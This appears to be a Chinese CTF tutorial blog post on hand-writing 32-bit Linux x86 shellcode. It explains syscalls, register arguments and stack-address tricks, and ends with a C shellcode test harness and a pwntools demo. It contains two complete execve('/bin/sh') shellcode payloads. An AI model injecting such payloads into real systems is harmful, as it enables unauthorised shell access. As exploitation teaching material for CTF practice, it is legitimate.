shellcode

在pwn的过程中常常需要通过自己写shellcode来获取shell,本文将介绍几种简单的shellcode
注:本文以x86为基础

调用系统函数

在开始写shellcode时,首先需要想到,我应该如何调用shell呢?

在写C语言中,通常我们需要调用

1
system("/bin/sh")

从而获得shell

在写汇编时,有时候并不需要这么做

linux

在使用linux时写汇编时完全不必再去libc寻找system函数,然后传递参数并且call system,只需要使用 系统调用

先看一段引自wiki的介绍

system call is the programmatic way in which a computer program requests a service from the kernel of the operating system it is executed on.

简单来讲,系统调用就是其实就是调用函数,而这个调用和call又有所区别,它执行的代码不在你的程序中,而在系统的内核空间中。系统调用包含了 文件读写,运行程序,获取时间等 一系列和系统有关的函数。若是在写C语言时调用这些函数,生成的汇编代码往往是到libc等库中找到程序地址,传递参数,再call其地址,而系统调用并不需要如此的麻烦,只需要用系统中断以及结合寄存器进行传参

系统调用主要有以下内容

int 0x80 与 syscall

若是需要系统调用,只需要在汇编中加入一句: int 0x80 ,这将告诉CPU,现在要进行一次中断从用户态进入内核态(我也不知道这是啥),而 0x80 表示中断编号,意味着告诉内核 程序要进行系统调用

若是在 x64 下 则 应将 0x80 替换为 syscall

系统调用编号

在linux中存在着许多系统调用,为了区分请求的API,内核开发者给每个系统调用都分配了一个系统调用号,调用时需要将系统调用号储存在EAX寄存器中,例如要调用 sys_write ,其系统调用号为4,则需要

1
2
3
4
5
xxxxxxxx
;传递系统调用号 这样写比mov eax,0x4更短
xor eax,eax
mov al,0x4
int 0x80

传递参数

系统调用时传递参数通常有2种方式,在参数小于等于5个时使用,EBX,ECX,EDX,ESI,EDI这5个寄存器,若是参数大于5个,则需要为EBX提供一个存放参数的内存的地址,还是以sys_write为例子
查阅文档可以知道,其C函数声明为

1
ssize_t write(int fd, const void *buf, size_t count);

所以调用时的汇编代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
;字符串'abc'入栈
push 0x636261
;传递字符串地址
mov ecx,esp
;标准输出为1
xor ebx,ebx
mov bl,0x1
;长度3
xor edx,edx
mov dl,0x3
;传递系统调用号
xor eax,eax
mov al,0x4
int 0x80

windows

这个我也不会,挖坑待填

确定参数地址

系统调用时传递参数往往需要使用内存地址,通常情况下程序都会开启alsr,显然参数的地址大多数情况下是动态的(除了全局变量),这时候需要利用一些汇编指令获得地址

push

在汇编中

1
push xxx

上面的代码意味着将 xxx 入栈,并且esp减4,并且push后esp正好对应xxx的内存地址,于是有如下方法

假设要向栈中放入 /bin/sh 字符串,并且将其地址赋给ebx

1
2
3
4
5
;/sh
push 0x68732f
;/bin
push 0x6e69622f
mov ebx,esp

这样以来ebx的值便是 /bin/sh 的地址了

call

在程序执行call时,会将下一条指令的地址入栈然后跳转到要执行的地方,若是程序在栈上执行,则可以利用call获得地址

注:call的字节码为 e8 ab cd ef gh ,其中 ghefcdab要跳转到的地址 - call后执行的下一条指令的地址

还是以 /bin/sh 为例

\xe8\x08\x00\x00\x00/bin/sh\x00

注:我实在不知道该如何表达,这是下面的汇编指令的前面的字节码

1
pop ebx

shellcode

由前面的2种确定地址的方式,最终可以写出2种shellcode

注:在这里以linux为例子,这只是最简单的shellcode

使用push

注:本文用pwntools生成字节码

1
2
3
4
5
6
7
8
9
10
11
shellcode = asm(
'''
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor eax,eax
mov al,0xb
int 0x80
'''
)

使用call

1
2
3
4
5
6
7
8
9
10
shellcode = '\xe8\x08\x00\x00\x00/bin/sh\x00'
shellcode += asm(
'''
pop ebx
xor eax,eax
xor ecx,ecx
mov al,0xb
int 0x80
'''
)

测试shellcode

在编写完成后,有时需要对shellcode进行一些测试,这时有多种方法

C写的shellcode测试器

源码直接给出,忘了从哪看到的了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <sys/types.h>  
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>


char code[4096] __attribute__((aligned(4096)));

int main(int argc, const char *argv[])
{
int fd;
int ret;
void (*func)(void);

if (argc != 2) {
fprintf(stderr, "\n\tUsage: sctest <shellcode>\n\n");
return 1;
}

fd = open(argv[1], O_RDONLY);
if (!fd) {
fprintf(stderr, "Unable open file %s, err = %d(%m)\n", argv[1], errno);
return 2;
}

ret = read(fd, code, sizeof(code));
if (ret < 0) {
fprintf(stderr, "Unable read file %s, err = %d(%m)\n", argv[1], errno);
return 3;
}

ret = mprotect(code, sizeof(code), PROT_EXEC);
if (ret < 0) {
fprintf(stderr, "Unable mprotect, err = %d(%m)\n", errno);
return 4;
}

/* execute shell code */
func = (void (*)(void))code;
func();
abort();
}

pwntools

这个貌似只能测试linux下的

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
>>> from pwn import *
>>> shellcode = asm(
... '''
... push 0x68732f
... push 0x6e69622f
... mov ebx,esp
... xor ecx,ecx
... xor eax,eax
... mov al,0xb
... int 0x80
... '''
... )
>>> p = run_shellcode(shellcode)
[*] '/tmp/pwn-asm-0KtoGK/step3-elf'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8049000)
RWX: Has RWX segments
[x] Starting local process '/tmp/pwn-asm-0KtoGK/step3-elf'
[+] Starting local process '/tmp/pwn-asm-0KtoGK/step3-elf': pid 60022
>>> p.sendline('pwd')
>>> print(p.recv())
/home/plusls

>>> p.sendline('exit')
>>> p.poll()
[*] Process '/tmp/pwn-asm-0KtoGK/step3-elf' stopped with exit code 0 (pid 60022)
0
>>>

run_assembly 同理,将参数换为汇编文本即可

以及run_shellcode_exitcoderun_assembly_exitcode 可以等待 shellcode 执行完毕 返回其返回值

更骚的操作

有时候一些漏洞会对输入进行过滤,此时需要对shellcode进行一些魔改

挖坑待填

最后

最后,便留个思考题吧,如何不用[](){}<>写一个输出Hello World的程序呢?
提示:编译时64位机器需要加上-m32

附录

x86系统调用查询:http://syscalls.kernelgrok.com/

x64系统调用查询:http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/